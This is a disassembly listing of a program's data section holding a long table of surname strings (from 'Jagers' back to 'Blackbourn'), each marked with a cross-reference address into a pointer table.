aJagers db 'Jagers',0 ; DATA XREF: ___:0042E4ACo
align 4
aJackson db 'Jackson',0 ; DATA XREF: ___:0042E4A8o
aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042E4A4o
aIyer db 'Iyer',0 ; DATA XREF: ___:0042E4A0o
align 10h
aIsserman db 'Isserman',0 ; DATA XREF: ___:0042E49Co
align 4
aIsbill db 'Isbill',0 ; DATA XREF: ___:0042E498o
align 4
aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042E494o
align 10h
aIsaac db 'Isaac',0 ; DATA XREF: ___:0042E490o
align 4
aInniss db 'Inniss',0 ; DATA XREF: ___:0042E48Co
align 10h
aInamura db 'Inamura',0 ; DATA XREF: ___:0042E488o
aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042E484o
align 4
aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042E480o
align 10h
aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042E47Co
align 4
aHyde db 'Hyde',0 ; DATA XREF: ___:0042E478o
align 4
aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042E474o
align 10h
aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042E470o
align 4
aHupp db 'Hupp',0 ; DATA XREF: ___:0042E46Co
align 4
aHuntington db 'Huntington',0 ; DATA XREF: ___:0042E468o
align 10h
aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042E464o
align 4
aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042E460o
align 4
aHuey db 'Huey',0 ; DATA XREF: ___:0042E45Co
align 10h
aHoy db 'Hoy',0 ; DATA XREF: ___:0042E458o
aHoward db 'Howard',0 ; DATA XREF: ___:0042E454o
align 4
aHottle db 'Hottle',0 ; DATA XREF: ___:0042E450o
align 4
aHostage db 'Hostage',0 ; DATA XREF: ___:0042E44Co
aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042E448o
aHorsley db 'Horsley',0 ; DATA XREF: ___:0042E444o
aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042E440o
aHooker db 'Hooker',0 ; DATA XREF: ___:0042E43Co
align 4
aHolzman db 'Holzman',0 ; DATA XREF: ___:0042E438o
aHolway db 'Holway',0 ; DATA XREF: ___:0042E434o
align 4
aHolter db 'Holter',0 ; DATA XREF: ___:0042E430o
align 4
aHoloien db 'Holoien',0 ; DATA XREF: ___:0042E42Co
aHolmes db 'Holmes',0 ; DATA XREF: ___:0042E428o
align 4
aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042E424o
align 4
aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042E420o
align 4
aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042E41Co
aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042E418o
align 4
aHock db 'Hock',0 ; DATA XREF: ___:0042E414o
align 10h
aHoang db 'Hoang',0 ; DATA XREF: ___:0042E410o
align 4
aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042E40Co
align 4
aHirst db 'Hirst',0 ; DATA XREF: ___:0042E408o
align 4
aHind db 'Hind',0 ; DATA XREF: ___:0042E404o
align 4
aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042E400o
align 10h
aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042E3FCo
align 4
aHeubert db 'Heubert',0 ; DATA XREF: ___:0042E3F8o
aHester db 'Hester',0 ; DATA XREF: ___:0042E3F4o
align 4
aHerrera db 'Herrera',0 ; DATA XREF: ___:0042E3F0o
aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042E3ECo
align 4
aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042E3E8o
align 4
aHenery db 'Henery',0 ; DATA XREF: ___:0042E3E4o
align 10h
aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042E3E0o
align 4
aHelprin db 'Helprin',0 ; DATA XREF: ___:0042E3DCo
aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042E3D8o
align 10h
aHellman db 'Hellman',0 ; DATA XREF: ___:0042E3D4o
aHeiland db 'Heiland',0 ; DATA XREF: ___:0042E3D0o
aHeft db 'Heft',0 ; DATA XREF: ___:0042E3CCo
align 4
aHeermans db 'Heermans',0 ; DATA XREF: ___:0042E3C8o
align 4
aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042E3C4o
align 10h
aHaynes db 'Haynes',0 ; DATA XREF: ___:0042E3C0o
align 4
aHayes db 'Hayes',0 ; DATA XREF: ___:0042E3BCo
align 10h
aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042E3B8o
align 4
aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042E3B4o
align 4
aHarwell db 'Harwell',0 ; DATA XREF: ___:0042E3B0o
aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042E3ACo
align 4
aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042E3A8o
align 4
aHartman db 'Hartman',0 ; DATA XREF: ___:0042E3A4o
aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042E3A0o
align 4
aHarlow db 'Harlow',0 ; DATA XREF: ___:0042E39Co
align 10h
aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042E398o
align 4
aHarding db 'Harding',0 ; DATA XREF: ___:0042E394o
aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042E390o
aHand db 'Hand',0 ; DATA XREF: ___:0042E38Co
align 4
aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042E388o
align 10h
aHamer db 'Hamer',0 ; DATA XREF: ___:0042E384o
align 4
aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042E380o
align 4
aHalpert db 'Halpert',0 ; DATA XREF: ___:0042E37Co
aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042E378o
align 4
aHalkias db 'Halkias',0 ; DATA XREF: ___:0042E374o
aHaley db 'Haley',0 ; DATA XREF: ___:0042E370o
align 4
aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042E36Co
align 4
aHackman db 'Hackman',0 ; DATA XREF: ___:0042E368o
aHaar db 'Haar',0 ; DATA XREF: ___:0042E364o
align 4
aHa db 'Ha',0 ; DATA XREF: ___:0042E360o
align 4
aGuo db 'Guo',0 ; DATA XREF: ___:0042E35Co
aGunn db 'Gunn',0 ; DATA XREF: ___:0042E358o
align 4
aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042E354o
align 4
aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042E350o
align 4
aGruner db 'Gruner',0 ; DATA XREF: ___:0042E34Co
align 4
aGrummell db 'Grummell',0 ; DATA XREF: ___:0042E348o
align 10h
aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042E344o
align 4
aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042E340o
align 4
aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042E33Co
align 4
aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042E338o
align 10h
aGravell db 'Gravell',0 ; DATA XREF: ___:0042E334o
aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042E330o
align 10h
aGoody db 'Goody',0 ; DATA XREF: ___:0042E32Co
align 4
aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042E328o
align 4
aGood db 'Good',0 ; DATA XREF: ___:0042E324o
align 4
aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042E320o
align 4
aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042E31Co
align 4
aGlendon db 'Glendon',0 ; DATA XREF: ___:0042E318o
aGlegg db 'Glegg',0 ; DATA XREF: ___:0042E314o
align 4
aGleason db 'Gleason',0 ; DATA XREF: ___:0042E310o
aGist db 'Gist',0 ; DATA XREF: ___:0042E30Co
align 4
aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042E308o
align 10h
aGill db 'Gill',0 ; DATA XREF: ___:0042E304o
align 4
aGili db 'Gili',0 ; DATA XREF: ___:0042E300o
align 10h
aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042E2FCo
aGibson db 'Gibson',0 ; DATA XREF: ___:0042E2F8o
align 10h
aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042E2F4o
aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042E2F0o
align 10h
aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042E2ECo
aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042E2E8o
align 10h
aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042E2E4o
align 4
aGeller db 'Geller',0 ; DATA XREF: ___:0042E2E0o
align 4
aGaronna db 'Garonna',0 ; DATA XREF: ___:0042E2DCo
aGarman db 'Garman',0 ; DATA XREF: ___:0042E2D8o
align 4
aGarfield db 'Garfield',0 ; DATA XREF: ___:0042E2D4o
align 10h
aGambini db 'Gambini',0 ; DATA XREF: ___:0042E2D0o
aGalwey db 'Galwey',0 ; DATA XREF: ___:0042E2CCo
align 10h
aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042E2C8o
align 4
aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042E2C4o
align 4
aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042E2C0o
align 4
aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042E2BCo
align 4
aFurth db 'Furth',0 ; DATA XREF: ___:0042E2B8o
align 4
aFuller db 'Fuller',0 ; DATA XREF: ___:0042E2B4o
align 4
aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042E2B0o
align 4
aFrye db 'Frye',0 ; DATA XREF: ___:0042E2ACo
align 10h
aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042E2A8o
align 4
aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042E2A4o
aFrisken db 'Frisken',0 ; DATA XREF: ___:0042E2A0o
aFriedland db 'Friedland',0 ; DATA XREF: ___:0042E29Co
align 4
aFried db 'Fried',0 ; DATA XREF: ___:0042E298o
align 10h
aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042E294o
align 4
aFreid db 'Freid',0 ; DATA XREF: ___:0042E290o
align 4
aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042E28Co
align 4
aFranz db 'Franz',0 ; DATA XREF: ___:0042E288o
align 4
aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042E284o
align 4
aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042E280o
align 4
aFossi db 'Fossi',0 ; DATA XREF: ___:0042E27Co
align 10h
aFossey db 'Fossey',0 ; DATA XREF: ___:0042E278o
align 4
aFortier db 'Fortier',0 ; DATA XREF: ___:0042E274o
aFortes db 'Fortes',0 ; DATA XREF: ___:0042E270o
align 4
aForester db 'Forester',0 ; DATA XREF: ___:0042E26Co
align 4
aFolks db 'Folks',0 ; DATA XREF: ___:0042E268o
align 4
aFlores db 'Flores',0 ; DATA XREF: ___:0042E264o
align 4
aFlier db 'Flier',0 ; DATA XREF: ___:0042E260o
align 4
aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042E25Co
aFisk db 'Fisk',0 ; DATA XREF: ___:0042E258o
align 10h
aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042E254o
aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042E250o
align 4
aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042E24Co
aFink db 'Fink',0 ; DATA XREF: ___:0042E248o
align 4
aField db 'Field',0 ; DATA XREF: ___:0042E244o
align 10h
aFido db 'Fido',0 ; DATA XREF: ___:0042E240o
align 4
aFeuer db 'Feuer',0 ; DATA XREF: ___:0042E23Co
align 10h
aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042E238o
align 4
aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042E234o
align 4
aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042E230o
align 4
aFernald db 'Fernald',0 ; DATA XREF: ___:0042E22Co
aFeldman db 'Feldman',0 ; DATA XREF: ___:0042E228o
aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042E224o
align 4
aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042E220o
align 4
aFates db 'Fates',0 ; DATA XREF: ___:0042E21Co
align 10h
aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042E218o
align 4
aFarren db 'Farren',0 ; DATA XREF: ___:0042E214o
align 10h
aFarone db 'Farone',0 ; DATA XREF: ___:0042E210o
align 4
aFaris db 'Faris',0 ; DATA XREF: ___:0042E20Co
align 10h
aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042E208o
aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042E204o
align 4
aFaioes db 'Faioes',0 ; DATA XREF: ___:0042E200o
align 10h
aFagan db 'Fagan',0 ; DATA XREF: ___:0042E1FCo
align 4
aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042E1F8o
aEverett db 'Everett',0 ; DATA XREF: ___:0042E1F4o
aEuripides db 'Euripides',0 ; DATA XREF: ___:0042E1F0o
align 4
aEtter db 'Etter',0 ; DATA XREF: ___:0042E1ECo
align 4
aEstes db 'Estes',0 ; DATA XREF: ___:0042E1E8o
align 4
aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042E1E4o
align 10h
aErez db 'Erez',0 ; DATA XREF: ___:0042E1E0o
align 4
aErdos db 'Erdos',0 ; DATA XREF: ___:0042E1DCo
align 10h
aErdman db 'Erdman',0 ; DATA XREF: ___:0042E1D8o
align 4
aErbach db 'Erbach',0 ; DATA XREF: ___:0042E1D4o
align 10h
aEppling db 'Eppling',0 ; DATA XREF: ___:0042E1D0o
aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042E1CCo
aEncinas db 'Encinas',0 ; DATA XREF: ___:0042E1C8o
aElvis db 'Elvis',0 ; DATA XREF: ___:0042E1C4o
align 10h
aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042E1C0o
align 4
aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042E1BCo
align 4
aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042E1B8o
align 4
aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042E1B4o
aEdward db 'Edward',0 ; DATA XREF: ___:0042E1B0o
align 4
aEdner db 'Edner',0 ; DATA XREF: ___:0042E1ACo
align 10h
aEdley db 'Edley',0 ; DATA XREF: ___:0042E1A8o
align 4
aEckel db 'Eckel',0 ; DATA XREF: ___:0042E1A4o
align 10h
aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042E1A0o
aEardley db 'Eardley',0 ; DATA XREF: ___:0042E19Co
aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042E198o
align 4
aDussault db 'Dussault',0 ; DATA XREF: ___:0042E194o
align 4
aDurrett db 'Durrett',0 ; DATA XREF: ___:0042E190o
aDuffin db 'Duffin',0 ; DATA XREF: ___:0042E18Co
align 4
aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042E188o
aDrinker db 'Drinker',0 ; DATA XREF: ___:0042E184o
aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042E180o
align 10h
aDoug db 'Doug',0 ; DATA XREF: ___:0042E17Co
align 4
aDoty db 'Doty',0 ; DATA XREF: ___:0042E178o
align 10h
aDosi db 'Dosi',0 ; DATA XREF: ___:0042E174o
align 4
aDorf db 'Dorf',0 ; DATA XREF: ___:0042E170o
align 10h
aDore db 'Dore',0 ; DATA XREF: ___:0042E16Co
align 4
aDoonan db 'Doonan',0 ; DATA XREF: ___:0042E168o
align 10h
aDonner db 'Donner',0 ; DATA XREF: ___:0042E164o
align 4
aDonahue db 'Donahue',0 ; DATA XREF: ___:0042E160o
aDoherty db 'Doherty',0 ; DATA XREF: ___:0042E15Co
aDockery db 'Dockery',0 ; DATA XREF: ___:0042E158o
aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042E154o
aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042E150o
align 4
aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042E14Co
align 10h
aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042E148o
align 4
aDifabio db 'Difabio',0 ; DATA XREF: ___:0042E144o
aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042E140o
align 10h
aDicks db 'Dicks',0 ; DATA XREF: ___:0042E13Co
align 4
aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042E138o
align 10h
aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042E134o
aDesombre db 'Desombre',0 ; DATA XREF: ___:0042E130o
align 4
aDenison db 'Denison',0 ; DATA XREF: ___:0042E12Co
aDenham db 'Denham',0 ; DATA XREF: ___:0042E128o
align 4
aDenault db 'Denault',0 ; DATA XREF: ___:0042E124o
aDemusz db 'Demusz',0 ; DATA XREF: ___:0042E120o
align 4
aDempster db 'Dempster',0 ; DATA XREF: ___:0042E11Co
align 10h
aDeming db 'Deming',0 ; DATA XREF: ___:0042E118o
align 4
aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042E114o
align 4
aDelger db 'Delger',0 ; DATA XREF: ___:0042E110o
align 4
aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042E10Co
align 4
aDelattre db 'Delattre',0 ; DATA XREF: ___:0042E108o
align 4
aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042E104o
align 4
aDees db 'Dees',0 ; DATA XREF: ___:0042E100o
align 4
aDebroff db 'Debroff',0 ; DATA XREF: ___:0042E0FCo
aDerousse db 'deRousse',0 ; DATA XREF: ___:0042E0F8o
align 10h
aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042E0F4o
align 4
aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042E0F0o
align 4
aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042E0ECo
align 4
aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042E0E8o
aDavid db 'David',0 ; DATA XREF: ___:0042E0E4o
align 4
aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042E0E0o
aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042E0DCo
align 4
aDas db 'Das',0 ; DATA XREF: ___:0042E0D8o
aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042E0D4o
aDapice db 'Dapice',0 ; DATA XREF: ___:0042E0D0o
align 10h
aDante db 'Dante',0 ; DATA XREF: ___:0042E0CCo
align 4
aDanieli db 'Danieli',0 ; DATA XREF: ___:0042E0C8o
aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042E0C4o
aDaly db 'Daly',0 ; DATA XREF: ___:0042E0C0o
align 10h
aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042E0BCo
align 4
aDasilva db 'daSilva',0 ; DATA XREF: ___:0042E0B8o
aCyders db 'Cyders',0 ; DATA XREF: ___:0042E0B4o
align 4
aCvek db 'Cvek',0 ; DATA XREF: ___:0042E0B0o
align 4
aCutler db 'Cutler',0 ; DATA XREF: ___:0042E0ACo
align 4
aCurrier db 'Currier',0 ; DATA XREF: ___:0042E0A8o
aCui db 'Cui',0 ; DATA XREF: ___:0042E0A4o
aCroxton db 'Croxton',0 ; DATA XREF: ___:0042E0A0o
aCroxen db 'Croxen',0 ; DATA XREF: ___:0042E09Co
align 4
aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042E098o
aCrocker db 'Crocker',0 ; DATA XREF: ___:0042E094o
aCrawford db 'Crawford',0 ; DATA XREF: ___:0042E090o
align 4
aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042E08Co
aCounter db 'Counter',0 ; DATA XREF: ___:0042E088o
aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042E084o
align 10h
aCornish db 'Cornish',0 ; DATA XREF: ___:0042E080o
aCorey db 'Corey',0 ; DATA XREF: ___:0042E07Co
align 10h
aConnors db 'Connors',0 ; DATA XREF: ___:0042E078o
aCondodina db 'Condodina',0 ; DATA XREF: ___:0042E074o
align 4
aConcino db 'Concino',0 ; DATA XREF: ___:0042E070o
aComstock db 'Comstock',0 ; DATA XREF: ___:0042E06Co
align 4
aCompton db 'Compton',0 ; DATA XREF: ___:0042E064o
; ___:0042E068o
aCollis db 'Collis',0 ; DATA XREF: ___:0042E060o
align 4
aCollard db 'Collard',0 ; DATA XREF: ___:0042E05Co
aColella db 'Colella',0 ; DATA XREF: ___:0042E058o
aColdren db 'Coldren',0 ; DATA XREF: ___:0042E054o
aCoito db 'Coito',0 ; DATA XREF: ___:0042E050o
align 4
aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042E04Co
aClow db 'Clow',0 ; DATA XREF: ___:0042E048o
align 4
aClifton db 'Clifton',0 ; DATA XREF: ___:0042E044o
aClement db 'Clement',0 ; DATA XREF: ___:0042E040o
aClark db 'Clark',0 ; DATA XREF: ___:0042E03Co
align 10h
aClancy db 'Clancy',0 ; DATA XREF: ___:0042E038o
align 4
aClaffey db 'Claffey',0 ; DATA XREF: ___:0042E034o
aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042E030o
align 4
aCicero db 'Cicero',0 ; DATA XREF: ___:0042E02Co
align 4
aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042E028o
align 10h
aChurch db 'Church',0 ; DATA XREF: ___:0042E024o
align 4
aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042E020o
align 4
aChu db 'Chu',0 ; DATA XREF: ___:0042E01Co
aChristopher db 'Christopher',0 ; DATA XREF: ___:0042E018o
aChristie db 'Christie',0 ; DATA XREF: ___:0042E014o
align 10h
aChristiano db 'Christiano',0 ; DATA XREF: ___:0042E010o
align 4
aChristian db 'Christian',0 ; DATA XREF: ___:0042E00Co
align 4
aChristenson db 'Christenson',0 ; DATA XREF: ___:0042E008o
aChinman db 'Chinman',0 ; DATA XREF: ___:0042E004o
aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042E000o
aChilds db 'Childs',0 ; DATA XREF: ___:0042DFFCo
align 10h
aChildress db 'Childress',0 ; DATA XREF: ___:0042DFF8o
align 4
aChien db 'Chien',0 ; DATA XREF: ___:0042DFF4o
align 4
aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042DFF0o
align 10h
aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042DFECo
align 4
aCherry db 'Cherry',0 ; DATA XREF: ___:0042DFE8o
align 4
aCheang db 'Cheang',0 ; DATA XREF: ___:0042DFE4o
align 4
aCharles db 'Charles',0 ; DATA XREF: ___:0042DFE0o
aChapman db 'Chapman',0 ; DATA XREF: ___:0042DFDCo
aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042DFD8o
aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042DFD4o
align 10h
aCavell db 'Cavell',0 ; DATA XREF: ___:0042DFD0o
align 4
aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042DFCCo
align 4
aCastelda db 'Castelda',0 ; DATA XREF: ___:0042DFC8o
align 10h
aCaspar db 'Caspar',0 ; DATA XREF: ___:0042DFC4o
align 4
aCase db 'Case',0 ; DATA XREF: ___:0042DFC0o
align 10h
aCascio db 'Cascio',0 ; DATA XREF: ___:0042DFBCo
align 4
aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042DFB8o
align 4
aCarper db 'Carper',0 ; DATA XREF: ___:0042DFB4o
align 4
aCaroti db 'Caroti',0 ; DATA XREF: ___:0042DFB0o
align 4
aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042DFACo
align 10h
aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042DFA8o
aCarlos db 'Carlos',0 ; DATA XREF: ___:0042DFA4o
align 10h
aCarlin db 'Carlin',0 ; DATA XREF: ___:0042DFA0o
align 4
aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042DF9Co
aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042DF98o
aCapursi db 'Capursi',0 ; DATA XREF: ___:0042DF94o
aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042DF90o
align 4
aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042DF8Co
align 4
aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042DF88o
align 10h
aCaperton db 'Caperton',0 ; DATA XREF: ___:0042DF84o
align 4
aCapanni db 'Capanni',0 ; DATA XREF: ___:0042DF80o
aCanley db 'Canley',0 ; DATA XREF: ___:0042DF7Co
align 4
aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042DF78o
align 4
aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042DF74o
align 4
aCalnan db 'Calnan',0 ; DATA XREF: ___:0042DF70o
align 4
aCage db 'Cage',0 ; DATA XREF: ___:0042DF6Co
align 4
aByrd db 'Byrd',0 ; DATA XREF: ___:0042DF68o
align 4
aByerly db 'Byerly',0 ; DATA XREF: ___:0042DF64o
align 4
aByatt db 'Byatt',0 ; DATA XREF: ___:0042DF60o
align 4
aBusetta db 'Busetta',0 ; DATA XREF: ___:0042DF5Co
aBurridge db 'Burridge',0 ; DATA XREF: ___:0042DF58o
align 10h
aBurke db 'Burke',0 ; DATA XREF: ___:0042DF54o
align 4
aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042DF50o
align 10h
aBurden db 'Burden',0 ; DATA XREF: ___:0042DF4Co
align 4
aBunton db 'Bunton',0 ; DATA XREF: ___:0042DF48o
align 10h
aBullard db 'Bullard',0 ; DATA XREF: ___:0042DF44o
aBudding db 'Budding',0 ; DATA XREF: ___:0042DF40o
aBuchan db 'Buchan',0 ; DATA XREF: ___:0042DF3Co
align 4
aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042DF38o
aBrook db 'Brook',0 ; DATA XREF: ___:0042DF34o
align 4
aBroca db 'Broca',0 ; DATA XREF: ___:0042DF30o
align 10h
aBritz db 'Britz',0 ; DATA XREF: ___:0042DF2Co
align 4
aBrinton db 'Brinton',0 ; DATA XREF: ___:0042DF28o
aBridges db 'Bridges',0 ; DATA XREF: ___:0042DF24o
aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042DF20o
align 4
aBrewer db 'Brewer',0 ; DATA XREF: ___:0042DF18o
; ___:0042DF1Co
align 4
aBrennan db 'Brennan',0 ; DATA XREF: ___:0042DF14o
aBrenan db 'Brenan',0 ; DATA XREF: ___:0042DF10o
align 4
aBreed db 'Breed',0 ; DATA XREF: ___:0042DF0Co
align 4
aBrecht db 'Brecht',0 ; DATA XREF: ___:0042DF08o
align 4
aBradach db 'Bradach',0 ; DATA XREF: ___:0042DF04o
aBradac db 'Bradac',0 ; DATA XREF: ___:0042DF00o
align 4
aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042DEFCo
align 4
aBoyne db 'Boyne',0 ; DATA XREF: ___:0042DEF8o
align 10h
aBoym db 'Boym',0 ; DATA XREF: ___:0042DEF4o
align 4
aBoyland db 'Boyland',0 ; DATA XREF: ___:0042DEF0o
aBoyes db 'Boyes',0 ; DATA XREF: ___:0042DEECo
align 4
aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042DEE8o
align 4
aBoxer db 'Boxer',0 ; DATA XREF: ___:0042DEE4o
align 4
aBowers db 'Bowers',0 ; DATA XREF: ___:0042DEE0o
align 4
aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042DEDCo
align 10h
aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042DED8o
aBoudin db 'Boudin',0 ; DATA XREF: ___:0042DED4o
align 10h
aBotosh db 'Botosh',0 ; DATA XREF: ___:0042DED0o
align 4
aBothman db 'Bothman',0 ; DATA XREF: ___:0042DECCo
aBossi db 'Bossi',0 ; DATA XREF: ___:0042DEC8o
align 4
aBorden db 'Borden',0 ; DATA XREF: ___:0042DEC4o
align 10h
aBorack db 'Borack',0 ; DATA XREF: ___:0042DEC0o
align 4
aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042DEBCo
align 4
aBoone db 'Boone',0 ; DATA XREF: ___:0042DEB8o
align 4
aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042DEB4o
align 4
aBook db 'Book',0 ; DATA XREF: ___:0042DEB0o
align 10h
aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042DEACo
align 4
aBoniface db 'Boniface',0 ; DATA XREF: ___:0042DEA8o
align 4
aBonham db 'Bonham',0 ; DATA XREF: ___:0042DEA4o
align 10h
aBoner db 'Boner',0 ; DATA XREF: ___:0042DEA0o
align 4
aBologna db 'Bologna',0 ; DATA XREF: ___:0042DE9Co
aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042DE98o
align 4
aBolick db 'Bolick',0 ; DATA XREF: ___:0042DE94o
align 4
aBolger db 'Bolger',0 ; DATA XREF: ___:0042DE90o
align 4
aBlyth db 'Blyth',0 ; DATA XREF: ___:0042DE8Co
align 4
aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042DE88o
aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042DE84o
align 4
aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042DE80o
aBloch db 'Bloch',0 ; DATA XREF: ___:0042DE7Co
align 4
aBlizard db 'Blizard',0 ; DATA XREF: ___:0042DE78o
aBliss db 'Bliss',0 ; DATA XREF: ___:0042DE74o
align 4
aBlanke db 'Blanke',0 ; DATA XREF: ___:0042DE70o
align 4
aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042DE6Co
align 10h
aBlagg db 'Blagg',0 ; DATA XREF: ___:0042DE68o
align 4
aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042DE64o
align 4
aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042DE60o
align 10h
